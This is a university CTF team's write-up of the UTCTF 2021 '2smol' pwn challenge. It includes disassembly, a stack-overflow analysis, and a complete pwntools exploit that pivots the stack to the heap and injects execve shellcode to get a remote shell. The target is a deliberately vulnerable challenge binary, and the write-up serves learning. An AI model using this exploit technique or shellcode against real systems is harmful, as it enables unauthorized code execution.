CTF Team at the University of British Columbia

[UTCTF 2021] 2smol

16 Mar 2021 by Jason Ngo

2smol

Challenge

I made this binary 2smol.

nc pwn.utctf.live 9998

by hukc

Mitigations:

No RELRO, No Canary found, NX disabled, No PIE

Functions:

[0x00401000]> afl
0x00401000    1 13           entry0
0x0040100d    1 22           main
0x00401023    1 33           loc._read

Disassembled main:

[0x00401000]> pdf @ main
            ; CALL XREF from entry0 @ 0x401000
┌ 22: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_8h @ rbp-0x8
│           0x0040100d      55             push rbp
│           0x0040100e      4889e5         mov rbp, rsp
│           0x00401011      4883ec08       sub rsp, 8
│           0x00401015      488d7df8       lea rdi, [var_8h]           ; int64_t arg1
│           0x00401019      e805000000     call loc._read
│           0x0040101e      4889ec         mov rsp, rbp
│           0x00401021      5d             pop rbp
└           0x00401022      c3             ret

The main function calls loc._read and passes a pointer to $rbp-0x8, then returns.

Disassembled read:

[0x00401000]> pdf @ loc._read
            ; CALL XREF from main @ 0x401019
┌ 33: loc._read (int64_t arg1);
│           ; arg int64_t arg1 @ rdi
│           0x00401023      55             push rbp
│           0x00401024      4889e5         mov rbp, rsp
│           0x00401027      4883ec08       sub rsp, 8
│           0x0040102b      4889fe         mov rsi, rdi                ; arg1
│           0x0040102e      bf00000000     mov edi, 0
│           0x00401033      ba00020000     mov edx, 0x200              ; 512
│           0x00401038      b800000000     mov eax, 0
│           0x0040103d      0f05           syscall
│           0x0040103f      4889ec         mov rsp, rbp
│           0x00401042      5d             pop rbp
└           0x00401043      c3             ret

The loc._read function executes a syscall, read(0, *buf, 0x200), where *buf is the pointer to a local variable in main. As this will read more characters than the buffer size, we can overwrite the stored $rbp and $rsp, and 0x190 bytes after that.

Solution

As NX is disabled, we can write and execute arbitrary code to memory.

I used code from shellstorm.

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /home/user/Documents/ctf/2smol/smol
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /home/user/Documents/ctf/2smol/smol
0x0000000000402000 0x0000000000403000 0x0000000000000000 rw- [heap]
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

Both the heap and stack should have rwx permissions. My machine prevents this, but this has been disabled to test the exploit. Stack addresses are randomized at runtime, however the heap is not. We can shift the location of our callstack onto the heap to write and execute our shellcode.

On the first read, we fill the buffer with 0x8 bytes, then we overwrite the saved $rbp with a location on the heap, and we overwrite the return address to point at the instruction before loc._read is called. This allows us to call read again and write our shellcode to the heap.

On the second read, we fill the buffer, base pointer, and return address with anything. Then we overwrite the return address to point the location our shell code will be place, followed by our shellcode.

Sending these payloads to the server gives us a shell where we can find and read the flag file.

Exploit

#!/usr/bin/env python3

from pwn import *

#p = process("./smol")
p = remote('pwn.utctf.live', 9998)

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

main = 0x0040100d
stack = 0x402500

context.terminal = ['tmux', 'splitw', '-h']

#gdb.attach(p, '''
#b*0x40101e
#''')

payload1 = b''
payload1 += b'A' * 0x8 #padding
payload1 += p64(stack) #rbp
payload1 += p64(main + 8) #rip
payload1 += b'B' * (0x200 - 0x8 * 3)

payload2 = b''
payload2 += b'C' * 0x8 #padding
payload2 += b'D' * 0x8 #rbp
payload2 += p64(stack+0x10) #rip
payload2 += shellcode

p.send(payload1)
p.send(payload2)

p.interactive()
-> % ./exploit.py                     
[+] Opening connection to pwn.utctf.live on port 9998: Done
[*] Switching to interactive mode
$ whoami
srop
$ ls
flag.txt
$ cat flag.txt
utflag{srop_xd}